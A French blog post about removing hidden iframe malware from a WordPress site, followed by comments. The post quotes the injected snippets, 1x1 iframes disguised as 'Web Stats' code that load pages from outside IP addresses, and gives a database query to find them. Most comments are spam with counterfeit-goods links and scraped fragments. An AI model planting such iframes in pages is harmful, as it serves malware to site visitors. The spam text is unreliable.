Cheval de troie JS:Packed-T [trj] et malware ‘HTML/Iframe-inf’

Cheval de Troie

Cheval de Troie

J’ai un site qui a été infecté par ce couple d’emmerdement juste avant le WE du premier Mai.

Le symptôme :

Les anti-virus de vos visiteurs vont se mettre à clignoter avec des messages citant ces 2 coupables :

  • Cheval de troie JS:Packed-T [trj]
  • Programme malveillant  ‘HTML/Iframe-inf’

Il me semble que ces 2 problèmes ont une seule solution.

J’ai trouvé ceci dans le code source de la page infestée :

<!-- Web Stats -->
<iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe>
<!-- End Web Stats -->

D’après Field Marshall il s’agit simplement d’une ligne de texte qui s’est introduite à la fin des fichiers index.php. Field Marshall indique des méthodes basées sur des scripts à lancer sur une console pour chasser et éradiquer le problème.

De mon coté, cela me rappelle quelque chose et j’ai déjà été victime d’un troyen. C’était wp-stat et ça ressemble beaucoup à JS:Packed. Je vous recommande la lecture de cet article d’ailleurs.

J’ai commencé par éradiquer la chaine contenant le terme « iframe » avec une recherche dans les sources des derniers articles publiés.

Pour vérifier dans la base de données, on peut se loguer avec PhpMyAdmin et lancer la requête suivante :

SELECT * FROM wptuto_posts WHERE post_content like '%IFRAME%' ;

Attention, maintenant que WordPress archive les articles, vous pouvez encore trouver des trace de la ligne dans des version archivées des articles nettoyés (post-type = revision).

Parmis les articles incriminées j’ai trouvé ce code :

<!-- Traffic Statistics --> <iframe src="http://61.132.75.71/iframe/wp-stats.php" frameborder="0" height="1" width="1"></iframe> <!-- End Traffic Statistics -->

Et aussi celui là :

<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats -->

Pour ce soir, je vais en rester là. J’imagine que ce sont des postes de rédacteurs qui sont infestés et qui ont permis l’intrusion de ces codes.


Tags : , ,
Trackbacks Commentaires
  • Youssef dit :

    salut; jai le meme probleme avec mes deux site d wordpress l premier est http://www.seriestream.net et me deuxieme c filmsgratos.com je n sais pas dou il vient c virus d cheval d 3 mais jai rien hebergé sur mon host depuisleurs instalation etle 2eme site filmsgratos je lesmeme pas touché presque une semaine , la coincidence c le meme jour les deux sites va etre victime d c Virus HTML/Iframe-inf’ merci d maidez

  • aalex57 dit :

    J’ai le problème avec l’ensemble de mon site, je n’arrive pas à le fr partir :(
    Help

  • Eric clapton dit :

    il faut pas télécharger des Widget de n’importe ou

  • J’ai le problème avec l’ensemble de mon site, je n’arrive pas à le fr partir
    Help

  • aelOnn dit :

    Bonjour,

    j’ai eu le même problème, et j’avais beau nettoyer, l’infestation revenait.
    En fait c’est tout simple: c’est votre PC à vous qui est infecté ! Le troyen utilise les mots de passe FTP enregistrés sur votre PC pour éditer directement les fichiers.

    Le remede: changer tous vos pass FTP, passer votre PC au scan d’un antivrus sérieux, dans le doute éviter de sauvegarder vos nouveaux mots de passe dans FileZilla, et enfin nettoyer toutes vos pages infectées (une petite recherche sur le mot clef « iframe » sur tous les fichiers de votre site, avec Texpad par exemple)

    Bon courage.

  • Livre photo dit :

    j’avais eu le même problème aussi et c’était mon PC qui est infecté mais jusqu’à maintenant j’ai pas encore trouvée la solution…

  • cecilegaraix dit :

    Usually, a child is given breastmilk by directly sucking from the mother’s breast. But in modern

    times, some women are not comfortable with this idea. Or sometimes, they don’t have much time to

    breastfeed because they are at work. So to make sure that the child still gets breast milk

    without sucking the mother’s breast, manufacturers have developed and introduced breast pump and

    breast pump bras. All a mother has to do is to wrap the bra around her breast, pull it into

    position, insert the pumping horns, and wait until the bottle has enough milk.

  • comunique dit :

    5 Factors to Consider When Buying a Breast Pump Bra
    Breast pump bras come in a wide selection of colors, styles, sizes, brands, and prices. Because

    of this, the selection process can prove to be quite confusing (or sometimes challenging). So to

    help you purchase the right bra, here are some factors that you need to consider.

  • 1. Nature of the bra
    There are two general types of these bras, either manual or electrically powered. Manual bras

    require you to pump using your hand, but those that need electricity to operate will give you a

    hands-free breastfeeding session. All you have to do is to put the pumping bottles in place, and

    turn the knob on to get started. However, these electronic gadgets are more expensive than

    manually operated bras.

  • weight brand dit :

    virus d cheval d 3 mais jai polo ralph lauren rien hebergé sur mon host depuisleurs instalation etle 2eme site filmsgratos je lesmeme pas touché presque une semaine

  • Lester vous dit :

    J’ai un site qui a été infecté par ce blogs plait couple d’emmerdement juste avant le WE du premier Mai

  • blogs plait dit :

    il s’agit simplement d’une ligne de texte qui s’est introduite à la fin des fichiers index.php. Field nike free run Marshall indique des méthodes basées sur des scripts à lancer sur une console pour chasser et éradiquer le problème

  • actu-bourse dit :

    *San Diego, California – Known more for expansive beaches and summer fun, San Diego has its share of history, including Antique Row. Located in the heart of downtown San Diego, this spot offers a variety of vintage gems in several specialty shops like jewelry, hats, clothing, and rare records and soundtracks.
    *Savannah, Georgia – Savannah’s has a charm built on the city’s respect for its past and well worth your road trip planning. Nowhere is this more evident that in the many small neighborhoods, which often seem more like pictures from a storybook. The Old South permeates throughout and you’re sure to find antiques with interesting stories behind them.

  • *Mount Dora, Florida – Enjoy staying at an award winning B & B and spend some time exploring the Amish Cupboard & Country Stuff, which has a wide selection of antiques and collectibles in an Amish-themed store.
    *St. Louis, Missouri – For an interesting theme change, try Cherokee Street Antiques Row. This is an old neighborhood shopping district that’s become known for its antique shops. It attracts people looking for antiques of all kinds, from books to furniture to jewelry and certainly what is best termed as « one man’s junk is another man’s treasure ». This district includes 5 blocks of shops, open daily (though some close on Mondays).

  • *Hartwood Gardens in Pittsburg, Pennsylvania – There are actually six Allegheny County Parks, but the Hartwood includes a magnificent 16th century-style Tudor mansion filled with original English and American antiques. Check out this link for the awesome photos.
    *Quechee Gorge Village in Vermont – This village features a country store, an antique mall, craft center, toy and train museum, and a diner. This makes for a particularly easy road trip to plan and one that gives you the bonus of driving in a section of Vermont known for its scenic beauty and Quechee Lakes, a private community located on the border of Vermont and New Hampshire.

  • version serveur dit :

    J’ai commencé par éradiquer la chaine chaussures Timberland contenant le terme « iframe » avec une recherche dans les sources des derniers articles publiés

  • closely match dit :

    J’ai un site qui a été infecté par nike air max ce couple d’emmerdement juste avant le WE du premier Mai

  • , a private community located on the border of Vermont and New Hampshire.
    Air Jordan Hommes. The Old South permeates throughout and you’re sure to find antiques with interesting stories behind them.

  • particular clock dit :

    il s’agit simplement d’une ligne de texte qui s’est nike shox introduite à la fin des fichiers index

  • all kinds dit :

    pens were manufactured using plastic or resin nike tn pas cher compounds your body by wearing the wrong type of clothing

  • This makes for a particularly easy road trip to plan and one that gives you the bonus of driving in a section of Vermont known for its scenic beauty and Quechee Lakes,Sac Chaine Boucle a private community located on the border of Vermont and New Hampshire.

  • ville passante dit :

    The blue candy ‘gem’ in the walkway is meant to mirror the gen in the Bombay survetement lacoste Sapphire logo definitely on my ‘to try’ list this season

  • blue candy dit :

    J’ai un site qui a été infecté par ce nike shox couple d’emmerdement juste avant le WE du premier Mai

  • sarenairmax dit :

    Nowhere is this more evident that in the many small neighborhoods, which often seem more like pictures from a storybook. http://www.sarenairmax.com The Old South permeates throughout and you’re sure to find antiques with interesting stories behind them.

  • impex dit :

    which often seem more like pictures from a storybook. http://www.impex-vetements.fr a private community located on the border of Vermont and New Hampshire.

  • Located in the heart of downtown San Diego, http://www.gaypodcast.fr/tn-pas-chere-livraison-gratuite-chaussure-nike-tn-requin-pas-cher.html this spot offers a variety of vintage gems in several specialty shops like jewelry, hats, clothing, and rare records and soundtracks.

  • dadicar dit :

    The Old South permeates http://www.dadicar.fr/Nike-Tn-Requin-Pas-Cher-s1959.html throughout and you’re sure to find antiques with interesting stories behind them.

  • The Old South permeates throughout http://www.lagarenne-dulac.fr/timberland-pas-cher-soldes-timberland-rouge.html and you’re sure to find antiques with interesting stories behind them.

  • This makes for a particularly easy road trip to plan and one that gives you the bonus of driving in a section of Vermont known for its scenic beauty and http://www.lavilledesamoureux.fr/jordanpascher/nike-air-max-pas-cher-chine/ Quechee Lakes, a private community located on the border of Vermont and New Hampshire.

  • loquatgames dit :

    Together with the essential pockets and sections that are there in practically all type http://www.loquatgames.eu/chaussure-louis-vuitton-pas-cher-chaussure-louis-vuitton-homme-chaussure-louis-vuitton-femme.html of bags, there are extra pockets that could be utilized in keeping different small things.

Réagissez